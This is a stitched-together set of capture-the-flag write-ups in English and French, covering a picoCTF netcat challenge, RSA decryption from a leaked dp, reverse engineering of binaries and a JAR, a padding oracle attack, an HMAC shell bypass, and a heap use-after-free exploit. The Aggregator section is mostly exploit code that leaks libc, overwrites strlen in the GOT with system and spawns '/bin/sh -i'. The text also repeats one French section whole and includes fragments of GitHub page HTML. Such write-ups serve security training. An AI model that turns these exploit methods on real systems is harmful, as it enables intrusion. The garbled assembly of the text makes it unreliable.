aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
# looooong The problem statement says: ```I heard you have some "delusions of grandeur" about your typing speed.How fast can you go at shell2017.picoctf.com:30277?``` On doing a netcat at `shell2017.picoctf.com` on port `30277`, we get thefollowing message from the server: ```To prove your skills, you must pass this test.Please give me the 'v' character '561' times, followed by a single '9'.To make things interesting, you have 30 seconds.Input:``` It turns out that the server asks for a random character each time.The next time I did a netcat, I got: ```To prove your skills, you must pass this test.Please give me the 'F' character '777' times, followed by a single '9'.To make things interesting, you have 30 seconds.Input:``` ## Solution Create a socket to the given server and port.Receive a few bytes from the server, enough to get the entire message. Parse this message to see which character is to be sent how many times tothe server. Create a string based on this message and send those bytes to the server. Call the receive function to get the flag from the server.
Yay an RSA problem! Jumping into it, and assuming you know the very basics of RSA already: **Given:** “Another message encrypted with RSA. It looks like some parameters are missing. Can you still decrypt it?” ```e = 65537n = 248254007851526241177721526698901802985832766176221609612258877371620580060433101538328030305219918697643619814200930679612109885533801335348445023751670478437073055544724280684733298051599167660303645183146161497485358633681492129668802402065797789905550489547645118787266601929429724133167768465309665906113dp = 905074498052346904643025132879518330691925174573054004621877253318682675055421970943552016695528560364834446303196939207056642927148093290374440210503657 c = 140423670976252696807533673586209400575664282100684119784203527124521188996403826597436883766041879067494280957410201958935737360380801845453829293997433414188838725751796261702622028587211560353362847191060306578510511380965162133472698713063592621028959167072781482562673683090590521214218071160287665180751``` Hint: Is there some way to create a multiple of p given the values you have? Fermat’s Little Theorem may be helpful. **Solution:** The first thing I will try to do is solve for p. Because we are given n, computing q after getting p will be simple. With both q and p, the rest of the problem is relatively trivial.From previous questions, we knew that dp was d%(p-1), where % is the modulus function. (NOTE: dp is NOT d\*p. For multiplication, I will explicitly write “\*”.) It then follows that d < p-1. We also know that d\* e = 1%(p-1). (This is simply writing down the modular multiplicative inverse part of RSA)d\*e = 1%(p-1) is the same thing as saying ((d%(p-1)) \* (e%(p-1))) % (p-1) = 1%(p-1). Then by the definition of modulus, we get: dp\*e = k(p-1)+1, where k is some unknown integer. If this is not obvious, just think it through for a moment.Because dp < p-1, it follows that k≤e. Because e is a relatively small number, it is easy to simply try all the values of k from 1 to e until we can find a corresponding integer value of p that will satisfy dp\*e = k(p-1)+1. So I wrote a python script that went something like this (modular inverse function and some obvious variables not included for sake of legibility):```l = dp * e - 1p = 0for k in range(1, e): if l%k == 0: p = (l//k + 1) if n%p == 0: q = n//p t = (p-1)*(q-1) print(pow(c,modinv(e,t),n))``` In that above script, I went ahead and tried deciphering the ciphertext c in the loop as well. It only took a few seconds to run, and voila! We got our plaintext number:```3670434958110785066911905751469631231338751225710158680692616521935747246580688484040488309932916523151997```Converting this to ASCII, we get:```flag{wow_leaking_dp_breaks_rsa?_98924743502}```Done! Honestly, trying to fit the hint into the problem was harder than just doing it this way.
[https://github.com/Brandon-Everhart/CTF/blob/master/Writeups/FITHACK_Rev_Number_50_Apr17.md](https://github.com/Brandon-Everhart/CTF/blob/master/Writeups/FITHACK_Rev_Number_50_Apr17.md)
題目: Moana and her friends were out on a sea voyage, spending their summer joyously. Unfortunately, they came across Charybdis, the sea monster. Charybdis, furious over having unknown visitors, wreaked havoc on their ship. The ship was lost. Luckily, Moana survived, and she was swept to a nearby island. But, since then, she has not seen her friends. Moana has come to you for help. She believes that her friends are still alive, and that you are the only one who can help her find them. and give us one photo
WU made by a french student ctf team.Recover key enter on a keyboard with HID dongle.Original link : https://team-nawhack.fr/2017/04/16/picoctf-2017-just-keyp-trying/
[https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ctfs/blob/master/programming/easyctf2017-fizzbuzz-1.md](https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ctfs/blob/master/programming/easyctf2017-fizzbuzz-1.md)
# Binary 100 - Random Pour ce challenge on a un binaire (ELF 64).On essaie de l'exécuter une première fois, et on voit qu'il y a 10 round, et on suppose qu'à chaque round on doit trouver le nombre aléatoire. On utilise alors GDB pour comprendre le fonctionnement du programme:On peut voir que valeur que l'on entre est comparée à l'instruction qui se trouve à l'adresse 0x0000000000400783 (main+134): ![](img/random1.png?raw=true) On met alors un breakpoint à cette instruction, on demarre le programme et on entre une valeur au hasard.Arrivé au breakpoint, on affiche la valeur en $rbp-0x88 : ![](img/random2.png?raw=true) Pour être sur que la valeur généré par le programme est bien aléatoire, on lance le programme, on entre la même valeur que précédemment et on regarde la valeur en $rbp-0x88 : ![](img/random2.png?raw=true) La valeur est la même! On met alors la valeur dans la variable EAX et on continue le programme. ![](img/random3.png?raw=true) On affiche de nouveaux la valeur de $rbp-0x88 et on l'assigne à EAX.On effectue ces actions pour les 10 rounds en notant les valeurs générées par le programme.On converti ensuite ces 10 valeurs en décimal.Puis on éxecute le programme normalement en entrant ces valeurs : ![](img/random4.png?raw=true) Et on obtient le flag ! # Binary 100 - Execution Pour ce challenge, un fichier nous ai fourni. Avec la commande "file", on voit que l'architecture de ce dernier est de l'ARM.On ouvre le programme avec GDB et on désassemble la fonction main : On peut voir qu'au lancement du programme des octets sont poussés sur la pile : ![](img/execution1.png?raw=true) On recupére ces valeurs en héxadecimal, les convertis en ASCII et les concatene : ```pythonm = [] to_convert = ['49','54','7b','33','78','65','63','75','74','69','30','6e','5f','63','30','6d','70','31','65','74','65','7d'] for c in to_convert: m.append(chr(int(c,16)))print(''.join(m))```On execute et on obtient le flag , sans le "F" du début : IT{3xecuti0n_c0mp1ete} FLAG : FIT{3xecuti0n_c0mp1ete} # Binary 200 - Omikuji Pour ce challenge, nous allons devoir reversé un .jar. C'est parti, on l'ouvre avec jd-gui pour décompiler le code :Et on obtient une fonction flag(): ```java public void flag() { int i = 1024; int y = 0; String c = "flag"; byte[] j = { 51, 32, 66, 105, 108, 108, 105, 111, 110, 32, 68, 101, 118, 105, 99, 101, 115, 32, 82, 117, 110, 32, 74, 97, 118, 97 }; for (int k = 0; k <= 8; k++) { y = k + y; } if (y % 2 == 0) { k = c + "error"; } else { k = "0eba0d68a699907bc3d765072c0735ce"; } try { MessageDigest md = MessageDigest.getInstance("SHA-256"); md.update(c.getBytes()); byte[] d = md.digest(); StringBuilder sb = new StringBuilder(2 * d.length); for (byte b : d) { sb.append(String.format("%02x", new Object[] { Integer.valueOf(b & 0xFF) })); } sb.reverse(); String a = "FIT{" + sb + "}"; System.out.println(a); } catch (Exception e) { e.printStackTrace(); } try { m = new String(j, "US-ASCII"); } catch (Exception e) { String m; e.printStackTrace(); return; } String m; System.out.println(m); }``` On s'aperçoit rapidement que le flag est le sha256("flag") reversé.On écrit ca en python et on obtient le flag : ```pythonimport hashlib k3y = "flag"hash = hashlib.sha256(k3y)hash_dig = hash.hexdigest()print("FIT{" + hash_dig[::-1] + "}")``` FLAG : FIT{78b4c64c4477e3705c221401639fdfaa0286f46658d4d81502b4c7eacbf0d708} # Binary 300 - mYFIT Pour ce dernier challenge, nous avons un programme python compilé.En utilisant *uncompyle2* pour décompiler le code du binaire, on obtient le code source.Ce programme permet aux étudiants et professeurs (admin) myFIT d'accéder aux notes.Une fois connecté sur le serveur, 2 commandes sont disponibles: - Une pour se connecter avec son identifiant - Une autre pour se connecter en tant que professeur (admin) avec nom d'utilisateur et mot de passe En regardant la fonction, process_admin_command(c) on comprend comment les identifiants d'étudiants sont générés:```pythondef process_admin_command(c): if c[0] == 'help': print_admin_help() elif c[0] == 'add': sys.stdout.write('Name of student to add: ') sys.stdout.flush() name = sys.stdin.readline().strip() print 'Enter student\'s grades in the format "Discrete mathematics A", with the class first then the letter grade. End with an empty line.' sys.stdout.flush() usergrades = {} g = True while g: g = sys.stdin.readline().strip().split() usergrades[' '.join(g[:-1])] = g[-1] grades[max(grades.keys()) + 1] = {'name': name, 'Student ID': hashlib.sha256(salt + name).hexdigest(), 'grades': usergrades} write_grades() else: print 'Invalid command. More coming in myFIT.' sys.stdout.flush()``` La variable *Student ID* est le sha256 du nom de l'étudiant précéder d'un salt (**EzA1CVFsmRf8BGubQNrd**).On récupère alors l'identifiant de *Wilhelmina Braunschweig Ingenohl Friedeburg* : ```pythonimport hashlib salt = 'EzA1CVFsmRf8BGubQNrd'login = 'Wilhelmina Braunschweig Ingenohl Friedeburg' h = hashlib.sha256(salt + login)k3y = h.hexdigest()print(k3y)```On se connecte sur le serveur et on entre la commande : **$ login fbf832b18bde7cb48fff1f79e07c8c3cdaaabcc726ca99b6f69ff7801d2b873c** On est alors connecté en tant que *Wilhelmina Braunschweig Ingenohl Friedeburg*, on fait la commande "view" pour voir ses notes et on obtient le flag. Malheuresement, le serveur n'étant plus en ligne je n'ai pas pu récupérer le flag.
# Oracle - Crypto - 250 points > An encrypting and decrypting oracle was found at oracle.quals.2017.volgactf.ru:8789. We managed to get it's script. No flag can be seen...> UPD> We searched thoroughly for several hours and found some ciphertext:> > b'\xab\xb9\xe8\x22\x05\xad\xef\xa2\xfa\xdf\x37\xe5\x90\xfe\x2f\x2b\x5b\x9f\xef\x4d\xb9\x11\x88\xfb\x58\x18\xf5\xa6\x63\xa7\x10\xf3'> Will it help?> cryptoclient.py> cryptoracle.py We are given those 32 bytes in the challenge description, and it seems logical that they contain the flag in encrypted form. Considering the name of the challenge, we assume the challenge is to make the server decrypt and reveal information about the plaintext for us, so we don't need to know the key - an *Oracle* attack. After some study of the server code it becomes clear that we need to use a [Padding Oracle attack](https://en.wikipedia.org/wiki/Padding_oracle_attack). Using this attack, we manage to reveal that the first block contains `VolgaCTF{B3w4r3_` but the second block is `\x9b\xdf\xb7r1\xc9\x8b\x93\x94\xb8J\xe0\x95\xfb*.` - did something go wrong? We then realize that the flag is encrypted in [CBC mode](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_Block_Chaining_.28CBC.29) with no IV, so we simply XOR the the first ciphertext block with the second plaintext block we got, and we finally have the full flag after removing padding - `VolgaCTF{B3w4r3_0f_P4dd1ng}`
# Signed shell server (pwn, 200) > I'll only execute shell commands that are authenticated with my hmac-sha1 key.> I'll sign a few benign commands for you, but after that, you're on your own! As described in the task description, we were given a binary that would execute anything wegive it, but only if authenticated with HMAC. We were given `ls` and a few other commands - nothing useful though. The two global variables of particular interest were `char buff[256]` and immediately following `bool md5_vs_sha1`.The latter one was set based on `argc` - on server it was set to 1, which meant md5 was used as HMAC hash.The `buff` array was the place to which our input was sent to. It turns out we could overwrite the `md5_vs_sha1` flag with a zero by sending exactly 256 bytes of data, as the server,trying to be helpful, null-terminates the buffer: `buff[chars_read]=0;`. So, we were able to use sha1 now. The second bug was in the `execute` function too. The stack layout was generally: `char hash_buff[20]; void (*denied)(); void (*granted)();`. For some reason - I couldn't find a reasonable explanation - if the hash used was sha1, the hash was saved one byte later, i.e. at `hash_buff+1`. Since sha1 length is 20 bytes, thatmeans we should be able to overwrite the `denied` function pointer's lowest byte (it was then called when HMAC was incorrect).By sending random data, we had about 1/256 chance of that byte becoming the same as `granted` function's, thus executing our command. So, we simply generated `cat flag` with a lot of random spaces and tabs to the rights, hoping it givescorrect result. Eventually, it did.
[Writeup here!](https://hgarrereyn.gitbooks.io/th3g3ntl3man-ctf-writeups/content/2017/picoCTF_2017/problems/cryptography/Encrypted_Shell/Encrypted_Shell.html)https://hgarrereyn.gitbooks.io/th3g3ntl3man-ctf-writeups/content/2017/picoCTF_2017/problems/cryptography/Encrypted_Shell/Encrypted_Shell.html
# Level 4 - Aggregator ```AggregatorI wrote a program to help me synthesize my log files. You can edit the log files to add annotations that will print out aggregated information. Because the original program that outputs the logs was a bit faulty, I also included the ability to clear a single day of logs. Find my aggregator running on shell2017.picoctf.com:9611. aggregator.c aggregator HINTSDoes it look like there is a stack vulnerability?``` This is a Use After Free vulnerability, It took a long time to find it :( Create an item on the heap Then free that item (memory is freed) Then create a new item on heap that isn't freed, by doing an invalid command Then trigger a Use After Free on that overwritten memory by doing an action So we start by doing the allocating/freeing of a date entry, and then using an aggregate action```python year = 1022 month = 1 day = 1 date = "%2.2d-%2.2d-%4.4d" %(month,day,year) date_monthyear = "%2.2d-%4.4d" %(month,year) #Add date with easily findable item number add_date_mdy(r, date, 0x4141414142424242) remove_date_mdy(r, date) #Overwrite the area that is now freed, with an invalid command payload = '' payload += 'A'*(5*8) create_aggregate(r, '+', date_monthyear)``` Looking at the relevant aggregation code:```C while (ch != NULL) { if (ch->size > 0) { agg = ch->data[0]; i = 1; break; } ch = ch->next; }``` with the asm:```asm 0x400f87 <db_aggregate_month+101> mov rax, qword ptr [rax] 0x400f8a <db_aggregate_month+104> mov qword ptr [rbp - 8], rax 0x400f8e <db_aggregate_month+108> mov qword ptr [rbp - 0x10], 1 0x400f96 <db_aggregate_month+116> jmp 0x400fab <0x400fab> 0x400f96 <db_aggregate_month+116> jmp 0x400fab <0x400fab> 0x400fab <db_aggregate_month+137> jmp 0x400fff <0x400fff> 0x400fff <db_aggregate_month+221> cmp qword ptr [rbp - 0x18], 0```where `[rbp - 0x18]` is the heap memory location of the invalid command we entered. Keep stepping through:```asm 0x400fdd <db_aggregate_month+187> mov rax, qword ptr [rbp - 0x18] 0x400fe1 <db_aggregate_month+191> mov rax, qword ptr [rax + 0x18] 0x400fe5 <db_aggregate_month+195> cmp rax, qword ptr [rbp - 0x10] 0x400fe9 <db_aggregate_month+199> ja db_aggregate_month+141 <0x400faf>```Here the pointer value to our invalid command is loaded into rax+0x18, and loaded back into RAXIf the value at that location is above 1 (`[rbp-0x10] = 0x1`), then jump. So the C code is expecting this struct at this location:```Cstruct data_table_chain { data_t *data; day_t day; size_t capacity; size_t size; dbchain *next;};```This is great, because it'll give us an arbitrary read primitive! Modify our payload to:```python payload = '' payload += p64(0x601f58) # GOT address of setvbuf payload += p64(0x000000) payload += p64(0x0000FF) # ch->capacity payload += p64(0x000001) # ch->size payload += p64(0x000000) # ch->next... just null is fine... r.sendline(payload)```So we set the data pointer we want to read to an address in the GOT that points to libc.Then we read back the "aggregated" value. Which is just the address as an integer added to zero. ```python r.recvline() leak = r.recvline(keepends=False) libc.address = int(leak) - libc.symbols['setvbuf'] print "Libc base = %x" %(libc.address) print "Libc system() = %x" %(libc.symbols['system'])```Score... We're making progress. Now how do we find an arbitrary write primitive...Lets see about doing the same trick with an update to an existing item?Start simple and see if we can get a crash```python year = 1022 month = 12 day = 12 date = "%2.2d-%2.2d-%4.4d" %(month,day,year) date_monthyear = "%2.2d-%4.4d" %(month,year) #Add date with easily findable item number add_date_mdy(r, date, 0x4141414142424242) remove_date_mdy(r, date) #Overwrite the area that is now freed, with an invalid command payload = '' payload += p64(0x601f58) # GOT address of ... payload += p64(0xAAAAAA) payload += p64(0xBBBBBB) payload += p64(0xCCCCCC) payload += p64(0xDDDDDD) r.sendline(payload) add_date_mdy(r, date, 0x4141414142424242)```Great. This gets a segfault at `chain_get+47`. it uses the 0xDDDDDD+0x8 as a pointer. This makes sense, we saw that was the next pointer. So lets zero that one.Lets also set that location as a breakpoint:```python if args.dbg: gdb.attach(r, """ vmmap b *chain_get+47 """)``` Now we look to see what's happening around the `db_add()` calling `chain_get()````Cvoid db_add(db_t D, struct tm* when, data_t data_value) { ymon_t ymon = make_ymon(when->tm_year, when->tm_mon); day_t day = when->tm_mday; dbchain *ch = chain_get(D, ymon, day); if (ch == NULL) { ch = chain_add(D, ymon, day); } chain_append(ch, data_value);}``` `chain_add()` is a complicated function with lots of stuff in it. `chain_append()` seems more manageable ```Cvoid chain_append(dbchain *ch, data_t data_value) { if (ch->size == ch->capacity) { ch->capacity = ch->capacity * 2; ch->data = xrealloc(ch->data, ch->capacity * sizeof(data_t)); } ch->data[ch->size] = data_value; ch->size++;}``` Nice... So we just need a valid pointer for `chain_get()` to return a pointer to our structure. mmmm```Cdbchain *chain_get(db_t D, ymon_t y, day_t day) { dbchain *ch = chain_head(D, y); while (ch != NULL) { if (ch->day == day) { return ch; } ch = ch->next; } return NULL;}``` In `chain_get()` make sure we follow the right code path. This got me for a bit:```asm 0x400b15 <chain_get+47> movzx eax, byte ptr [rax + 8] 0x400b19 <chain_get+51> cmp al, byte ptr [rbp - 0x20] 0x400b1c <chain_get+54> jne chain_get+62 <0x400b24>```I need to make sure that the second value in our struct is equal to the value of the day we used.Since we saw that `ch->data[ch->size] = data_value;` we need to make sure to subtract the location we want to write to with 8. Now we just need to figure out what to overwrite. I usually look at what the input buffer pointer is passed to, if we want to use `system()` then we need it to be passed as the first argument somewhere: Ah HA: right in `main()` the pointer with user input is passed to `strlen()````C for (char *line_buffer = readline(); line_buffer != NULL; line_buffer = readline()) { size_t line_length = strlen(line_buffer);```So we need to overwrite `strlen()` in the GOT: `0x601f00 ([email protected]) —> 0x4007d6 (strlen@plt+6)` So lets try:```python #Overwrite the area that is now freed, with an invalid command payload = '' payload += p64(0x601f00-8) # GOT address of strlen - 8 payload += p64(0x0000000C) # This holds the day we used above payload += p64(0xFFFFFFFF) payload += p64(0x00000001) # ch->size payload += p64(0x00000000) # r.sendline(payload) #Send value to overwrite the data pointer with add_date_mdy(r, date, libc.symbols['system']) r.sendline('/bin/sh -i') # Drop to interactive console r.interactive()``` And we have a shell :) I had a fairly hard time spoting the UAF bug and didn't solve it in time to claim the 190 points. Full [exploit](https://github.com/Caesurus/PicoCTF2017/tree/master/L4_aggregator) is checked in
# Binary 100 - Random Pour ce challenge on a un binaire (ELF 64).On essaie de l'exécuter une première fois, et on voit qu'il y a 10 round, et on suppose qu'à chaque round on doit trouver le nombre aléatoire. On utilise alors GDB pour comprendre le fonctionnement du programme:On peut voir que valeur que l'on entre est comparée à l'instruction qui se trouve à l'adresse 0x0000000000400783 (main+134): ![](img/random1.png?raw=true) On met alors un breakpoint à cette instruction, on demarre le programme et on entre une valeur au hasard.Arrivé au breakpoint, on affiche la valeur en $rbp-0x88 : ![](img/random2.png?raw=true) Pour être sur que la valeur généré par le programme est bien aléatoire, on lance le programme, on entre la même valeur que précédemment et on regarde la valeur en $rbp-0x88 : ![](img/random2.png?raw=true) La valeur est la même! On met alors la valeur dans la variable EAX et on continue le programme. ![](img/random3.png?raw=true) On affiche de nouveaux la valeur de $rbp-0x88 et on l'assigne à EAX.On effectue ces actions pour les 10 rounds en notant les valeurs générées par le programme.On converti ensuite ces 10 valeurs en décimal.Puis on éxecute le programme normalement en entrant ces valeurs : ![](img/random4.png?raw=true) Et on obtient le flag ! # Binary 100 - Execution Pour ce challenge, un fichier nous ai fourni. Avec la commande "file", on voit que l'architecture de ce dernier est de l'ARM.On ouvre le programme avec GDB et on désassemble la fonction main : On peut voir qu'au lancement du programme des octets sont poussés sur la pile : ![](img/execution1.png?raw=true) On recupére ces valeurs en héxadecimal, les convertis en ASCII et les concatene : ```pythonm = [] to_convert = ['49','54','7b','33','78','65','63','75','74','69','30','6e','5f','63','30','6d','70','31','65','74','65','7d'] for c in to_convert: m.append(chr(int(c,16)))print(''.join(m))```On execute et on obtient le flag , sans le "F" du début : IT{3xecuti0n_c0mp1ete} FLAG : FIT{3xecuti0n_c0mp1ete} # Binary 200 - Omikuji Pour ce challenge, nous allons devoir reversé un .jar. C'est parti, on l'ouvre avec jd-gui pour décompiler le code :Et on obtient une fonction flag(): ```java public void flag() { int i = 1024; int y = 0; String c = "flag"; byte[] j = { 51, 32, 66, 105, 108, 108, 105, 111, 110, 32, 68, 101, 118, 105, 99, 101, 115, 32, 82, 117, 110, 32, 74, 97, 118, 97 }; for (int k = 0; k <= 8; k++) { y = k + y; } if (y % 2 == 0) { k = c + "error"; } else { k = "0eba0d68a699907bc3d765072c0735ce"; } try { MessageDigest md = MessageDigest.getInstance("SHA-256"); md.update(c.getBytes()); byte[] d = md.digest(); StringBuilder sb = new StringBuilder(2 * d.length); for (byte b : d) { sb.append(String.format("%02x", new Object[] { Integer.valueOf(b & 0xFF) })); } sb.reverse(); String a = "FIT{" + sb + "}"; System.out.println(a); } catch (Exception e) { e.printStackTrace(); } try { m = new String(j, "US-ASCII"); } catch (Exception e) { String m; e.printStackTrace(); return; } String m; System.out.println(m); }``` On s'aperçoit rapidement que le flag est le sha256("flag") reversé.On écrit ca en python et on obtient le flag : ```pythonimport hashlib k3y = "flag"hash = hashlib.sha256(k3y)hash_dig = hash.hexdigest()print("FIT{" + hash_dig[::-1] + "}")``` FLAG : FIT{78b4c64c4477e3705c221401639fdfaa0286f46658d4d81502b4c7eacbf0d708} # Binary 300 - mYFIT Pour ce dernier challenge, nous avons un programme python compilé.En utilisant *uncompyle2* pour décompiler le code du binaire, on obtient le code source.Ce programme permet aux étudiants et professeurs (admin) myFIT d'accéder aux notes.Une fois connecté sur le serveur, 2 commandes sont disponibles: - Une pour se connecter avec son identifiant - Une autre pour se connecter en tant que professeur (admin) avec nom d'utilisateur et mot de passe En regardant la fonction, process_admin_command(c) on comprend comment les identifiants d'étudiants sont générés:```pythondef process_admin_command(c): if c[0] == 'help': print_admin_help() elif c[0] == 'add': sys.stdout.write('Name of student to add: ') sys.stdout.flush() name = sys.stdin.readline().strip() print 'Enter student\'s grades in the format "Discrete mathematics A", with the class first then the letter grade. End with an empty line.' sys.stdout.flush() usergrades = {} g = True while g: g = sys.stdin.readline().strip().split() usergrades[' '.join(g[:-1])] = g[-1] grades[max(grades.keys()) + 1] = {'name': name, 'Student ID': hashlib.sha256(salt + name).hexdigest(), 'grades': usergrades} write_grades() else: print 'Invalid command. More coming in myFIT.' sys.stdout.flush()``` La variable *Student ID* est le sha256 du nom de l'étudiant précéder d'un salt (**EzA1CVFsmRf8BGubQNrd**).On récupère alors l'identifiant de *Wilhelmina Braunschweig Ingenohl Friedeburg* : ```pythonimport hashlib salt = 'EzA1CVFsmRf8BGubQNrd'login = 'Wilhelmina Braunschweig Ingenohl Friedeburg' h = hashlib.sha256(salt + login)k3y = h.hexdigest()print(k3y)```On se connecte sur le serveur et on entre la commande : **$ login fbf832b18bde7cb48fff1f79e07c8c3cdaaabcc726ca99b6f69ff7801d2b873c** On est alors connecté en tant que *Wilhelmina Braunschweig Ingenohl Friedeburg*, on fait la commande "view" pour voir ses notes et on obtient le flag. Malheuresement, le serveur n'étant plus en ligne je n'ai pas pu récupérer le flag.
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" 